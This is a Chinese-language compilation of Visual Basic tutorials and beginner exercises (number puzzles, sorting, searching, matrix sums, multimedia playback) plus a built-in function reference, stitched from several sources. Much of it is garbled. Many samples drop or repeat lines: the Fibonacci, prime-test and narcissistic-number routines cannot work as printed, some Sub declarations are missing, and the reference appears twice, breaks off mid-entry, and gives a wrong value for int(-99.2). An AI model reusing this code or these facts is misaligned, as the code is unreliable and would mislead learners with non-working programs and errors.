VB高级编程100例
Visual Basic编程100例2
多媒体VB多媒体程序设计2000-09-03· ·余鑫铭··VB编程乐园p>Visual Basic for Windows(以下简称VB)是Windows下的应用程序开发工具,它从根本上改变了传统的程序设计模式,可以处理文本、图像、动画、声音等多媒体数据,因而被计算机界称为“最富有创新精神的编程工具之一”。
本文假定你已基本熟悉VB的编程环境和简单的程序设计方法,介绍VB多媒体编程的一些基本概念和方法,让你也能体验多媒体程序设计的乐趣。
如果你还未曾使用过VB(但肯定听说过),那么不妨赶快试一下,它的易用性会使你很快掌握的。
一、Visual Basic编程概述对于Microsoft Windows的用户来说,很少有其它产品能像VB那样激动人心,其重要原因就是VB是第一个真正能让不熟悉Windows的人编写Windows应用程序设计工具。
许多人都认为Windows程序设计非常复杂。
其实,这只是针对用C或Pascal语言编写程序的人来说的。
VB的出现为我们开辟了一条通向Windows程序设计高手的捷径。
在Windows推出初期,能够用来开发Windows应用软件的工具只有“Microsoft Windows Software Development Kit”,简称SDK。
虽然用SDK开发出来的应用软件对于用户来说是相当出色的,但对于程序员来说却是一件困难的事。
若使用SDK,程序员必须去编写创建窗口、菜单、字体、对话框以及其它各种对象,即使是编写最简单的程序。
因此对于大多数人而言,使用SDK开发软件除了必须具备C语言的经验以外,还要学习SDK提供的600个低层函数,然后方能进行编程,即使对于专业程序员来说,这也是一项十分困难、费时的工作,这种复杂性使得很多有兴趣进行Windows 编程的用户望而却步。
所以,有些程序员调侃SDK是Super Difficult Kit的缩写,这或许有些夸张,不过也很贴切地道出了使用SDK编程的复杂性。
VB常见20道编程代码
VB常见20道编程代码哈哈哈20道编程代码1.1000以内的所有完数Private Sub Command1_Click()Dim n As IntegerDim i As IntegerDim s As LongFor n = 1 To 1000s = 1For i = 2 To n - 1If n Mod i = 0 Then s = s + iNext iIf s = n ThenText1 = Text1 & n & " "If k Mod 5 = 0 Then Text1 = Text1 & vbCrLfEnd IfNext nEnd SubPrivate Sub Command2_Click()EndEnd Sub2.百元买百鸡Private Sub Command1_Click()Dim i As IntegerDim j As IntegerFor i = 0 To 20For j = 0 To 33If 5 * i + 3 * j + (100 - i - j) * 1 / 3 = 100 ThenText1 = Text1 & "买" & CStr(i) & "只公鸡" & CStr(j) & "只母鸡" & CStr(100 - i - j) & "只⼩鸡" Text1 = Text1 & Chr(13) & Chr(10)End IfNext jPrivate Sub Command2_Click()EndEnd Sub3.不靠边元素和Private Sub Command1_Click()ClsRandomizeDim a(5, 5) As Integer, s%For i = 0 To 5For j = 0 To 5a(i, j) = Int(Rnd * 9)Print a(i, j) & ",";Sum = Sum + a(i, j)Next jPrintNext ik = SumSum = 0For i = 0 To 5Sum = Sum + a(i, 0) + a(i, 5) + a(0, i) + a(5, i) Next iSum = Sum - a(0, 0) - a(5, 0) - a(5, 5) - a(0, 5) Text1 = k - Sum End SubPrivate Sub Command2_Click()EndEnd Sub4.递归函数求斐波拉契数列Option ExplicitPrivate Sub Command1_Click()Dim a1, a2, b As IntegerDim i, n As Integern = InputBox("显⽰数列的前N项")a1 = 1For i = 1 To na2 = bNext iEnd SubPrivate Sub Command2_Click() EndEnd Sub5.各位数之和Private Sub Command1_Click() Dim i As String Dim j%Dim s%i = Text1For j = 1 To Len(i)st = Mid(i, j, 1)s = s + Val(st)Next jText2 = sEnd SubPrivate Sub Command2_Click() EndEnd Sub6.回⽂数Private Sub Command1_Click() Dim x$, y$, c$, i% x = Text1For i = 1 To Len(x)c = Mid(x, i, 1)y = c + yNext iIf y = x ThenText2 = "x是回⽂数"ElseText2 = "x不是回⽂数"End IfEnd SubPrivate Sub Command2_Click()Private Sub Command3_Click()EndEnd Sub7.级数求和Private Sub Command1_Click() Dim i As Integer, t As Long, s As Singlei = 0: s = o: t = 1Dos = s + 1 / ti = i + 1t = t * iLoop Until 1 / t < 0.000001Text1 = sEnd SubPrivate Sub Command2_Click()EndEnd Sub8.矩阵的转置Option ExplicitOption Base 1Dim i As IntegerDim j As IntegerDim a() As IntegerDim n As IntegerPrivate Sub Command1_Click()Text3.SetFocusn = Val(Text3)ReDim a(n, n) '动态数组For i = 1 To nFor j = 1 To na(i, j) = Int(10 * Rnd + 0) '随机数Text1 = Text1 & a(i, j) & " " '⼀⾏Next jText1 = Text1 & Chr(13) & Chr(10) '多⾏Next iEnd Subn = Val(Text3)ReDim b(n, n)For i = 1 To nFor j = 1 To nb(i, j) = a(j, i) '转置Text2 = Text2 & b(i, j) & " " '⼀⾏Next jText2 = Text2 & Chr(13) & Chr(10) '多⾏Next i End SubPrivate Sub Command3_Click()Text1 = ""Text2 = ""Text3 = "" '清除Text3.SetFocusEnd SubPrivate Sub Command4_Click()End '结束End SubPrivate Sub Form_Load()Text1 = ""Text2 = ""Text3 = "" '清除End Sub9.靠边元素和Private Sub Command1_Click()ClsRandomizeDim a(5, 5) As IntegerFor i = 0 To 5For j = 0 To 5a(i, j) = Int(Rnd * 9)Print a(i, j) & ",";Sum = Sum + a(i, j)Next jSum = 0For i = 0 To 5Sum = Sum + a(i, 0) + a(i, 5) + a(0, i) + a(5, i)NextSum = Sum - a(0, 0) - a(5, 0) - a(5, 5) - a(0, 5)Text1 = SumEnd SubPrivate Sub Command2_Click()EndEnd Sub10.冒泡排序Option ExplicitOption Base 1Dim a(10) As IntegerDim i As IntegerPrivate Sub Command1_Click()For i = 1 To 10a(i) = Int(90 * Rnd + 10)Text1 = Text1 & Str(a(i)) & " "If i Mod 5 = 0 Then Text1 = Text1 & Chr(13) & Chr(10) Next i End SubPrivate Sub Command2_Click()Dim j As IntegerDim t As IntegerFor i = 1 To 9For j = 1 To 10 - iIf a(j) < a(j + 1) Thent = a(j)a(j) = a(j + 1)a(j + 1) = tEnd IfNext jNext iIf i Mod 5 = 0 Then Text2 = Text2 & Chr(13) & Chr(10) Next i End SubPrivate Sub Command3_Click()Text1 = ""Text2 = ""End SubPrivate Sub Command4_Click()EndEnd Sub11.逆序数Private Sub Command1_Click()Dim a As StringDim i%Dim s As Stringa = Text1For i = 1 To Len(a)st = Mid(a, i, 1)s = st + sNext iText2 = sEnd SubPrivate Sub Command2_Click()EndEnd Sub12.判断素数Private Sub Command1_Click()Dim n As IntegerDim i As Integern = Val(Text1)If n = 1 ThenMsgBox (CStr(n) & "是素数")ElseFor i = 2 To n - 1MsgBox (CStr(n) & "是素数")ElseMsgBox (CStr(n) & "不是素数") End IfEnd IfEnd SubPrivate Sub Command2_Click()Text1 = ""End SubPrivate Sub Command3_Click()EndEnd Sub13.求阶乘(递归)Private Function f(ByVal n As Long) As Long Dim i As Integer f = 1If n = 0 Or n = 1 Thenf = 1ElseFor i = 1 To nf = f * iNext iEnd IfEnd FunctionPrivate Sub Command1_Click()Dim n As Longn = Val(Text1)Text2 = f(n)End SubPrivate Sub Command2_Click()Text1 = ""Text2 = ""End SubPrivate Sub Command3_Click()Private Sub Command1_Click() Dim n%, i%, m%n = Val(Text1)For i = 1 To nIf i = 1 ThenPicture1.PrintElseIf n Mod i = 0 ThenFor m = 2 To i - 1If i Mod m = 0 Then Exit For Next mIf m = i ThenPicture1.Print i,End IfPicture1.PrintEnd IfEnd IfNext iEnd SubPrivate Sub Command2_Click() Text1 = ""Picture1.ClsEnd SubPrivate Sub Command3_Click() EndEnd Sub15.⽔仙花数Private Sub Command1_Click() Dim a, b, c As IntegerFor a = 0 To 9For b = 0 To 9For c = 1 To 9End IfNext cNext bNext aEnd SubPrivate Sub Command2_Click()EndEnd Sub16.顺序查找Option ExplicitOption Base 1Dim a(10) As IntegerDim i As IntegerPrivate Sub Command1_Click()For i = 1 To 10a(i) = Int(90 * Rnd + 10)Text1 = Text1 & Str(a(i))If i Mod 5 = 0 Then Text1 = Text1 & Chr(13) & Chr(10) Next i End SubPrivate Sub Command2_Click()Dim x As Integerx = Val(Text2)For i = 1 To 10If a(i) = x Then Exit ForNext iIf i <= 10 ThenText3 = Str(x) + "在第" + Str(i) + "个位置"ElseText3 = "没有找到"End IfEnd SubPrivate Sub Command3_Click()Text1 = ""Private Sub Command4_Click()EndEnd Sub17.随机10个整数最值,均值,和Dim i As Integer Dim a(10) As IntegerPrivate Sub Command1_Click() RandomizeFor i = 1 To 10a(i) = Int(90 * Rnd + 10) Next iFor i = 1 To 10Text1 = Text1 & a(i) & " " Next iEnd SubPrivate Sub Command2_Click() Dim k As Integer Dim l As IntegerDim s As Integerk = a(1)For i = 2 To 10If a(i) > k Then k = a(i)Next iText2 = kl = a(1)For i = 2 To 10If a(i) < l Then l = a(i)Next iText3 = ls = 0For i = 1 To 10s = s + a(i)Next iText5 = sText4 = s / 10End SubPrivate Sub Command3_Click() EndEnd SubPrivate Sub Form_Load()18.字符统计Private Sub Command1_Click()Dim s As String, i%, m As String, n% s = Text1 n = 0For i = 1 To Len(s)m = Mid(s, i, 1)If m >= "a" And m <= "z" Thenn = n + 1End IfNext iText2 = nEnd SubPrivate Sub Command2_Click()EndEnd Sub19.最⼤公约数Private Sub Command1_Click()Dim m As IntegerDim n As IntegerDim k As Integerm = Val(Text1)n = Val(Text2)Dok = m Mod nm = nn = kLoop Until k = 0Text3 = CStr(m)End SubPrivate Sub Command2_Click()Text1 = ""Text2 = ""Text3 = ""End SubPrivate Sub Command3_Click()EndEnd Sub20.最⼩公倍数Option ExplicitPrivate Sub Command1_Click() Dim m%, n%, k% Dim m1%, n1%Dim s%m = Val(Text1): n = Val(Text2) m1 = m: n1 = n Dok = m Mod nm = nn = kLoop Until k = 0s = m1 * n1 / mText3 = sEnd SubPrivate Sub Command2_Click() Text1 = ""Text2 = ""Text3 = ""End SubPrivate Sub Command3_Click() EndEnd Sub。
VB编程题代码43例
VB编程题代码43例1、求100以内的素数。
Private Sub Form_Click()Dim i%, j%For i = 2 To 100For j = 2 To i - 1If i Mod j = 0 Then Exit ForNext jIf j = i Then Print iNext iEnd Sub2、从键盘输入任意长度的字符串,要求将字符顺序倒置,例如,将输入的“ABCDEFG”变换成“GFEDCBA”。
Private Sub Command1_Click()Dim a$, I%, c$, d$, n%a = InputBox$("输入字符串")n = Len(a)For I = 1 To Int(n \ 2)c = Mid(a, I, 1)Mid(a, I, 1) = Mid(a, n - I + 1, 1)Mid(a, n - I + 1, 1) = cNext IPrint aEnd Sub3、计算0~200之间所有能被11或5整除的数之和Private Sub Form_Click()Dim n%, i%n = 0For i = 1 To 200If i Mod 11 = 0 Or i Mod 5 = 0 Thenn = n + iEnd IfNext iPrint nEnd Sub4、输入一年份,判断它是否为闰年,并显示有关信息。
(判断闰年的条件是:年份能被4整除但不能被100整除,或者能被400整除)Private Sub Command1_Click()Dim y%y = InputBox("请输入年数")If y Mod 4 = 0 And y Mod 100 <> 0 Or y Mod 400 = 0 ThenMsgBox (y & "年是闰年")ElseMsgBox (y & "年是平年")End If5、已知x,y,z 3个变量中存放了3个不同的数,比较它们的大小并进行调整,使得x<y<z。
vb编程代码大全
vb编程代码大全Visual Basic (VB) 是一种广泛用于软件开发的高级编程语言,可以用于开发 Windows 应用程序、Web 应用程序、数据库应用程序等。
在本文中,将介绍一些常用的 VB 编程代码,帮助初学者快速入门和提高编程水平。
一、基本数据类型1. 整型数据在 VB 中,整型数据可以使用 Integer 类型表示,范围为 -32,768 到32,767。
定义整型变量的代码如下:```Dim num As Integernum = 10```2. 浮点数据浮点数据可以使用 Single 或 Double 类型表示,分别表示单精度浮点数和双精度浮点数。
定义浮点变量的代码如下:```Dim num As Singlenum = 3.143. 字符串数据字符串数据可以使用 String 类型表示,可以存储文本数据。
定义字符串变量的代码如下:```Dim str As Stringstr = "Hello, World!"```二、控制流程1. If...Then...Else 语句If...Then...Else 语句用于根据条件执行不同的代码块。
例如:```Dim num As Integernum = 10If num > 0 ThenMsgBox("Num is positive.")ElseMsgBox("Num is negative.")End If2. For 循环For 循环用于重复执行一段代码。
例如:```For i = 1 To 10MsgBox(i)Next i```3. Do While 循环Do While 循环在满足条件时执行代码块。
例如:```Dim i As Integeri = 1Do While i <= 10MsgBox(i)i = i + 1Loop```三、数组1. 一维数组一维数组在 VB 中用于存储相同类型的多个元素。
Visual_Basic编程教学系列100例
Visual Basic编程教学100例控件及技巧利用VB三维面板控件设计流动条2000-09-15 00:00:00·王金柱·yeskyVB提供了一个三维面板控件,利用这个控件可设计图形效果的立体界面,从而使应用程序的界面显得更生动、美观,该控件还可以设置各种形式的背景,然后在背景上显示各种形式的字符,令人感兴趣的是,使用三维面板控件,还可设计我们经常在安装程序中看到的表示安装进程的流动条,并可显示进程百分比,改变流动条的颜色等。
一、介绍属性FloodColor:确定流动条的颜色,缺省为蓝色。
FloodPercent:显示当前过程如流动条进行的百分比,参数改变时显示的百分数和流动条的面积改变,设为一整型值,取值范围是0~100。
FloodShowpct:决定是否在三维面板控件上显示百分比,是一个逻辑值。
为True 时显示,为False时不显示。
FloodType:表示用户对三维面板控件的使用方式。
可取值有6个,如下所示:0缺省设置1表示流动条方向从左到右2表示流动条方向从右到左3表示流动条方向从上到下4表示流动条方向从下到上5表示使用指定的颜色从圆心向外画圆二、流动条设计如果在Windows3?X下,工具箱中不存在三维面板控件,可选择File菜单中的“Add File…”进行添加,在弹出的对话框中找到Windows\System目录,然后选定Threed?vbx文件即可,如果使用VB4.0,需在Tools菜单中选择Custom Controls命令,选定Sheridan 3d Controls项,按OK按钮,可在工具箱中增加三维面板控件。
启动VB3?0,在窗体中画一水平方向的长方形三维面板控件,按F4,在属性窗口中设置其Name为P3d、Bevellnner为2-Raised、FloodType为1、FloodshowPct 为True,再在窗体中画一个按钮Command1,双击该按钮,键入下面的代码:Sub Command1_Click()P3d?floodpercent=0For N%=1 To 100If N%$#@62;100 THENExit SubEnd IfP3d?FloodPercent=N%Next I%End Sub按F5,运行该程序,点击Command按钮,即可看到流动条效果。
Visual_Basic编程100例
在VB中播放AVI文件AVI文件是语音和影像同步组合在一起的文件格式。
在VB5?0中用MMControl多媒体控件设计播放AVI文件的程序步骤如下:1 新建一个工程。
2 在Form1上建立一个MMControl控件,并建立一个图片框。
3 设定MMControl对象的按钮属性。
4 撰写程序如下:Private Sub Form_Load()MMControl1.DeviceType=″avivideo″MMControl1.file name=″c:\vb\avi\a.avi″MMControl1.hWndDisplay=picture1.hWndmand=″Open″End Sub说明:1 DeviceType=″avivideo″,是设定MCI播放媒体的种类。
2 HwndDisplay=picture1.hWnd,是把AVI文件在图形框中播放,如果没有这一行,将自动开启一个窗口播放。
巧用VB编程使XMPLAYER自动播放VCD(缺少)用VB 5.0实现多画面播放功能2000-07-15· ·请作者与我们联系··学vb找王国荣font size=2>所谓动态画中画,指的是在大画面视频播放时,小画面在大画面中也播放另外的画面,或者是两个画面都在做某种活动。
笔者前段时间用VB 5.0开发了一个VCD播放程序,可以实现以下功能:(1)可以多屏播放,也就是画中画功能,可同时播放几个不同的画面;(2)可以同时播放CD-ROM中的视频音频文件(当然,在硬盘中播放速度会更快些);(3)支持多种文件格式(如.dat、.wav、.avi、.mov、.mmm、.mid、.rmi、.mpeg、.mpg、.mpa、.mpv等);(4)自带画面美观且功能齐全的CD播放程序;(5)增强了鼠标的右键功能,用它可以控制各画面的大小(1/16、1/4、1/2、1、2倍和全屏)、播放、暂停等;(6)控制声音、图像、时间/帧显示转换、自动重播等;(7)控制条随意拖动播放,再加上定时播放、自定义播放时间等播放方式,可使您更加惬意地控制VCD;(8)屏幕可随意拖动,画面可任意放缩。
20道VB操作题代码
1 求随机数最值、均值、和的问题Option ExplicitOption Base 1Dim i%, a(10) As Integer, s%, min%, max%Private Sub Command1_Click()Randomizemin = 100For i = 1 To 10a(i) = Rnd * 90 + 10s = s + a(i): Text1 = Text1 & a(i): Text1 = Text1 & vbCrLfIf a(i) > max Then max = a(i)If a(i) < min Then min = a(i)Next iEnd SubPrivate Sub Command2_Click()Text2 = maxEnd SubPrivate Sub Command3_Click()Text3 = minEnd SubPrivate Sub Command4_Click()Text4 = s / 10End SubPrivate Sub Command5_Click()Text5 = sEnd Sub2 求水仙花数Private Sub Form_click()Dim i As IntegerFor i = 100 To 999If (i \ 100) ^ 3 + ((i Mod 100) \ 10) ^ 3 + (i Mod 10) ^ 3 = i Then Print i Next iEnd Sub3 百元买百鸡问题Option ExplicitDim a!, b!, c!, i%, j%, k%Private Sub Form_click()a = InputBox("公鸡的单价")b = InputBox("母鸡的单价")c = InputBox("小鸡的单价")For i = 0 To 100 / aFor j = 0 To 100 / bk = 100 - i - jIf a * i + b * j + c * k = 100 Then Print i; j; k Next j, iEnd Sub4 求1000以内所有完数Private Sub Form_click()Dim s As Integer, i As Integer, j As IntegerFor i = 2 To 1000s = 0For j = 1 To i / 2If i Mod j = 0 Then s = s + jNext jIf i = s Then Print iNext iEnd Sub5 求各位数字之和Option ExplicitDim i%, a%, s%Private Sub Form_click()s = 0a = InputBox("请输入随机数")For i = 1 To Len(CStr(a))s = s + Mid(CStr(a), i, 1)Next iMsgBox a & " 的数字和为:" & sEnd Sub6 求最小公倍数Option ExplicitDim a%, b%, i%Private Sub Form_click()a = InputBox("请输入第一个数")b = InputBox("请输入第二个数")If a > b Then i = a: a = b: b = iFor i = a To 1 Step -1If a Mod i = 0 And b Mod i = 0 Then Exit For Next iMsgBox "最小公倍数为" & a * b / iEnd Sub7 求逆序数Option ExplicitDim a&, b&, i%Private Sub Form_click()a = InputBox("请输入随机数"):b = 0For i = 1 To Len(CStr(a))b = b & Mid(CStr(a), Len(CStr(a)) + 1 - i, 1)Next iMsgBox a & "的逆序数为:" & bEnd Sub8 级数有限项求和问题Option ExplicitDim s#, a!, i%Private Sub Form_click()s = 0: i = 2: a = 1 / 2Dos = s + ai = i + 2a = a / iLoop Until a < 0.000001Print sEnd Sub9 求质因子问题Option ExplicitDim a%, b%, s$, i%Private Sub Command1_Click()a = Text1i = 2DoIf a Mod i = 0 Then s = s & " " & i: a = a / i: i = i - 1i = i + 1Loop Until a = 1Text2 = sEnd Sub10 字符统计Option ExplicitDim i%, a(26) As Integer, x$Private Sub Command1_Click()x = Text1x = UCase(x)For i = 1 To Len(x)a(Asc(Mid(x, i, 1)) - 64) = a(Asc(Mid(x, i, 1)) - 64) + 1Next iFor i = 1 To 26If a(i) <> 0 Then Picture1.Print Chr(i + 64) & "的个数为:" & a(i) Next iEnd Sub11 判定素数过程Option ExplicitDim a As Integer, i As Integer, x As IntegerPrivate Sub Form_click()a = InputBox("请输入数字")If prime(a) ThenMsgBox a & "是素数"ElseMsgBox a & "不是素数"End IfEnd SubPrivate Function prime(x As Integer) As BooleanFor i = 2 To x - 1If x Mod i = 0 Then Exit ForNext iIf i = x Then prime = TrueEnd Function12 求最大公约数Option ExplicitDim a As Integer, b As Integer, i As Integer, m As Integer, n As Integer, t As Integer Private Sub Form_click()a = InputBox("请输入第一个数")b = InputBox("请输入第二个数")MsgBox a & "和" & b & "的最大公约数是" & zdgys(a, b)End SubPrivate Function zdgys(ByV al m As Integer, ByV al n As Integer) As IntegerDoIf m < n Then t = m: m = n: n = tm = m - nLoop Until m Mod n = 0zdgys = nEnd Function13 冒泡法排序Option ExplicitOption Base 1Dim a() As Integer, i As Integer, j As Integer, m As Integer, n As Integer, t As Integer Private Sub Form_click()n = InputBox("请输入数组的项数")ReDim a(n)RandomizeFor m = 1 To na(m) = Int(Rnd * 90) + 10Print a(m)Next mCall maopao(a())PrintFor m = 1 To nPrint a(m)Next mEnd SubPrivate Sub maopao(a() As Integer)For i = LBound(a) To UBound(a) - 1For j = LBound(a) To UBound(a) - iIf a(j) > a(j + 1) Then t = a(j): a(j) = a(j + 1): a(j + 1) = tNext j, iEnd Sub14 顺序查找过程Option Base 1Option ExplicitDim a() As Integer, i As Integer, j As Integer, m As Integer, n As Integer, x As Integer, t As Integer Private Sub Form_click()n = InputBox("请输入数组的项数")x = InputBox("请输入需要查找的数字")ReDim a(n)For i = 1 To na(i) = Int(Rnd * 90) + 10Print a(i)Next iPrintCall search(a(), x)End SubPrivate Sub search(a() As Integer, x As Integer)t = 0For i = 1 To nIf a(i) = x Then Print "第" & i & "个数为" & x: t = 1Next iIf t = 0 Then Print "找不到数字" & xEnd Sub15 判断回文数Option ExplicitDim a As String, x As Long, i As IntegerPrivate Sub Form_click()x = InputBox("请输入数字串")If huiwen(x) ThenMsgBox x & "是回文数"ElseMsgBox x & "不是回文数"End IfEnd SubPrivate Function huiwen(ByV al x As Long) As Booleana = CStr(x)For i = 1 To (Len(a)) \ 2If Mid(a, i, 1) <> Mid(a, Len(a) + 1 - i, 1) Then Exit For Next iIf i = (Len(a)) \ 2 + 1 Then huiwen = TrueEnd Function16 递归函数求阶乘Option ExplicitDim x As Long, a As Integer, n As IntegerPrivate Sub Form_click()n = InputBox("请输入数字")MsgBox n & "的阶乘为" & jc(n)End SubPrivate Function jc(ByV al n As Integer) As LongIf n = 0 Or n = 1 Thenjc = 1Elsejc = jc(n - 1) * nEnd IfEnd Function17 递归函数求斐波那契数列Option ExplicitDim a() As Integer, n As Integer, x As Integer, i As Integer Private Sub Form_click()n = InputBox("请输入显示的项数")For i = 1 To nPrint fi(i);Next iEnd SubPrivate Function fi(ByV al n As Integer) As IntegerIf n = 1 Or n = 2 Thenfi = 1Elsefi = fi(n - 1) + fi(n - 2)End IfEnd Function18 矩阵靠边元素之和Option ExplicitOption Base 1Dim a() As Integer, m As Integer, n As Integer, i As Integer, j As Integer Private Sub Form_click()Call shuruCall shengchengCall shuchuPrint "靠边元素之和为" & bs(a())End SubSub shuru()m = InputBox("请输入矩阵行数")n = InputBox("请输入矩阵列数")ReDim a(m, n)End SubSub shengcheng()For i = 1 To mFor j = 1 To na(i, j) = Int(Rnd * 9) + 1Next j, iEnd SubSub shuchu()For i = 1 To mFor j = 1 To nPrint a(i, j);Next jPrintNext iEnd SubFunction bs(a() As Integer) As Integerbs = 0For i = 1 To m Step m - 1For j = 2 To n - 1bs = bs + a(i, j)Next j, iFor j = 1 To n Step n - 119 矩阵不靠边元素之和Option ExplicitOption Base 1Dim a() As Integer, m As Integer, n As Integer, i As Integer, j As Integer Private Sub Form_click()Call shengchengCall shuchuPrint "不靠边元素之和为" & cs(a())End SubSub shuru()m = InputBox("请输入矩阵行数")n = InputBox("请输入矩阵列数")ReDim a(m, n)End SubSub shengcheng()For i = 1 To mFor j = 1 To na(i, j) = Int(Rnd * 9) + 1Next j, iEnd SubSub shuchu()For i = 1 To mFor j = 1 To nPrint a(i, j);Next jPrintNext iEnd SubFunction cs(a() As Integer) As Integercs = 0For i = 2 To m - 1For j = 2 To n - 1cs = cs + a(i, j)Next j, iEnd Function20 矩阵转置Option ExplicitOption Base 1Dim a() As Integer, n As Integer, i As Integer, j As Integer, t As Integer Private Sub Form_click()Call shuruCall shengchengCall shuchuCall rearrangeCall shuchuEnd Subn = InputBox("请输入矩阵行列数") ReDim a(n, n)End SubSub shengcheng()For i = 1 To nFor j = 1 To na(i, j) = Int(Rnd * 9) + 1Next j, iEnd SubSub shuchu()For i = 1 To nFor j = 1 To nPrint a(i, j);Next jPrintNext iEnd SubSub rearrange()PrintFor i = 1 To nFor j = 1 To it = a(i, j): a(i, j) = a(j, i): a(j, i) = t Next j, iEnd Sub。
vb编程代码大全
vb编程代码大全1.数值:abs(num): 返回sgn(num): num>0 1; num=0 0; num<0 -1;判断数值正负hex(num): 返回值直接表示:&Hxx 最大8位oct(num): 返回值直接表示:&Oxx 最大8位sqr(num): 返回 num>0int(num): 取整 int(99.8)=99; int(-99.2)=100fix(num): 取整 fix(99.8)=99; fix(-99.2)=99round(num,n): 四舍五入取小数位 round(3.14159,3)=3.142 中点数值四舍五入为近偶取整 round(3.25,1)=3.2log(num): 取以e为底的 num>0exp(n): 取e的n次幂通常用 num^nsin(num): ,以为值计算 (角度*Pai)/180=弧度 con(num);tan(num); atn(num)2.:len(str):计算字符串xx 中文字符xx也计为一!mid(str,起始字符,[读取xx]):截取字符串中间子字符串left(str,nlen):从左边起截取nlenxx子字符串right(str,nlen):从右边起截取nlenxx子字符串Lcase(str):字符串转成小写Ucase(str):字符串转成trim(str):去除字符串两端空格Ltrim(str):去除字符串左侧空格Rtrim(str):去除字符串右侧空格replace(str,查找字符串,替代字符串,[起始字符,替代次数,比较方法]):替换字符串注:默认值:起始字符 1;替代次数不限;比较方法区分大小写(0)InStr([起始字符,]str,查找字符串[,比较方法]):检测是否包含子字符串可选参数需同时选返回起始位置InStrRev(str,查找字符串[,起始字符][,比较方法]):反向检测是否包含子字符串返回起始位置space(n):构造n个空格的字符串string(n,str):构造由n个str第一个字符组成的字符串StrReverse(str):反转字符串split(str,字符串[,次数][,比较方法]):以分割字符串为分割标志将字符串转为字符可选参数需同时选3.转换函数:Cint(str):转换正数 True -1;False 0;日期距离1899/12/31天数;时间上午段 0;下午段 1;Cstr(str):日期 yyyy/mm/dd;时间输出格式 Am/Pm hh:mm:ss Clng(str):与Cin()类似Cbool(num):num不为零 True;反之 FalseCdate(str):转换日期格式 0:#Am 12:00:00#;正数距离1899/12/31天数的日期;日期+小数时间Cbyte(num):num<255 转换为字节Csng(str):转换为数值Cdbl(str):转换为数值Ccur(str):转换为现金格式4.时间函数:date:取系统当前日期time:取系统当前时间now:取系统当前时间及日期值 Datetime类型timer:取当前时间距离零点秒值,,可计算时间差DateAdd(间隔单位,间隔值,日期):推算相邻日期DateDiff(间隔单位,日期一,日期二):计算时间差日期二-日期一Datepart(间隔单位,日期):计算日期的间隔单位值Dateserial(date):输出日期值(按序列计算)Timeserial(time):输出时间值(按序列计算)Datevalue(datetime):取出字符串中日期值Timevalue(datetime):取出字符串中时间值weekday(date):计算星期几MonthName(date):输出月分名year(datetime):截取年份month(datetime):截取月份day(datetime):截取日hour(datetime):截取小时minute(datetime):截取分钟second(datetime):截取秒5.其它函数:Array(unit,..):动态生成数组Asc(str):输出字符串第一个字符的ASCII码Chr(asc):转换ASCII为字符 Enter:Chr(13)&Chr(10)Filter(数组名称,关键字符串,[,包含][,比较方法]):将字符串数组中含有关键字符串的元素存成新的数组(默认) [包含]为false则取不包含的元素oin(ArrayName):将数组中元素字符串Ubound(ArrayName[,维数]):取得数组相应维数的上界Lbound(ArrayName[,维数]):取得数组相应维数的下界一般为0 Randmize n:启动Rnd(n):取得,n>0或为空,取序列下一随机值,n<0,随机值相同,n=0,生产与上一随机值相同的数取介于A和B之间的随机正数C,公式:C=Int((B-A+1)*Rnd+A) 条件(B>A)子程序和自定义函数Sub StrSubName Function StrFunName(arg[1],..)子程序体函数体Exit Sub 中途跳出 Exit Function 中途跳出End Sub StrFunName=value 返回值End Function[call] StrSubName 引用子程序 Var=StrFunName(arg[1],..) 引用函数。
vb编程代码大全.doc
vb编程代码大全1.数值型函数:abs(num): 返回绝对值sgn(num): num>0 1; num=0 0; num<0 -1;判断数值正负hex(num): 返回十六进制值直接表示:&Hxx 最大8位oct(num): 返回八进制值直接表示:&Oxx 最大8位sqr(num): 返回平方根num>0int(num): 取整int(99.8)=99; int(-99.2)=100fix(num): 取整fix(99.8)=99; fix(-99.2)=99round(num,n): 四舍五入取小数位round(3.14159,3)=3.142 中点数值四舍五入为近偶取整round(3.25,1)=3.2log(num): 取以e为底的对数num>0exp(n): 取e的n次幂通常用num^nsin(num): 三角函数,以弧度为值计算(角度*Pai)/180=弧度con(num); tan(num); atn(num)2.字符串函数:len(str):计算字符串长度中文字符长度也计为一!mid(str,起始字符,[读取长度]):截取字符串中间子字符串left(str,nlen):从左边起截取nlen长度子字符串right(str,nlen):从右边起截取nlen长度子字符串Lcase(str):字符串转成小写Ucase(str):字符串转成大写trim(str):去除字符串两端空格Ltrim(str):去除字符串左侧空格Rtrim(str):去除字符串右侧空格replace(str,查找字符串,替代字符串,[起始字符,替代次数,比较方法]):替换字符串注:默认值:起始字符1;替代次数不限;比较方法区分大小写(0)InStr([起始字符,]str,查找字符串[,比较方法]):检测是否包含子字符串可选参数需同时选返回起始位置InStrRev(str,查找字符串[,起始字符][,比较方法]):反向检测是否包含子字符串返回起始位置space(n):构造n个空格的字符串string(n,str):构造由n个str第一个字符组成的字符串StrReverse(str):反转字符串split(str,分割字符串[,次数][,比较方法]):以分割字符串为分割标志将字符串转为字符数组可选参数需同时选3.数据类型转换函数:Cint(str):转换正数True -1;False 0;日期距离1899/12/31天数;时间上午段0;下午段1;Cstr(str):日期输出格式yyyy/mm/dd;时间输出格式Am/Pm hh:mm:ssClng(str):与Cin()类似Cbool(num):num不为零True;反之FalseCdate(str):转换日期格式0:#Am 12:00:00#;正数距离1899/12/31天数的日期;浮点数日期+小数时间Cbyte(num):num<255 转换为字节Csng(str):转换为单精度数值Cdbl(str):转换为双精度数值Ccur(str):转换为现金格式4.时间函数:date:取系统当前日期time:取系统当前时间now:取系统当前时间及日期值Datetime类型timer:取当前时间距离零点秒值,计时器,可计算时间差DateAdd(间隔单位,间隔值,日期):推算相邻日期DateDiff(间隔单位,日期一,日期二):计算时间差日期二-日期一Datepart(间隔单位,日期):计算日期的间隔单位值Dateserial(date):输出日期值(按序列计算)Timeserial(time):输出时间值(按序列计算)Datevalue(datetime):取出字符串中日期值Timevalue(datetime):取出字符串中时间值weekday(date):计算星期几MonthName(date):输出月分名year(datetime):截取年份month(datetime):截取月份day(datetime):截取日hour(datetime):截取小时minute(datetime):截取分钟second(datetime):截取秒5.其它函数:Array(unit,..):动态生成数组Asc(str):输出字符串第一个字符的ASCII码Chr(asc):转换ASCII为字符Enter:Chr(13)&Chr(10)Filter(数组名称,关键字符串,[,包含][,比较方法]):将字符串数组中含有关键字符串的元素存成新的数组(默认)[包含]为false则取不包含的元素oin(ArrayName):将数组中元素连成字符串Ubound(ArrayName[,维数]):取得数组相应维数的上界Lbound(ArrayName[,维数]):取得数组相应维数的下界一般为0Randmize 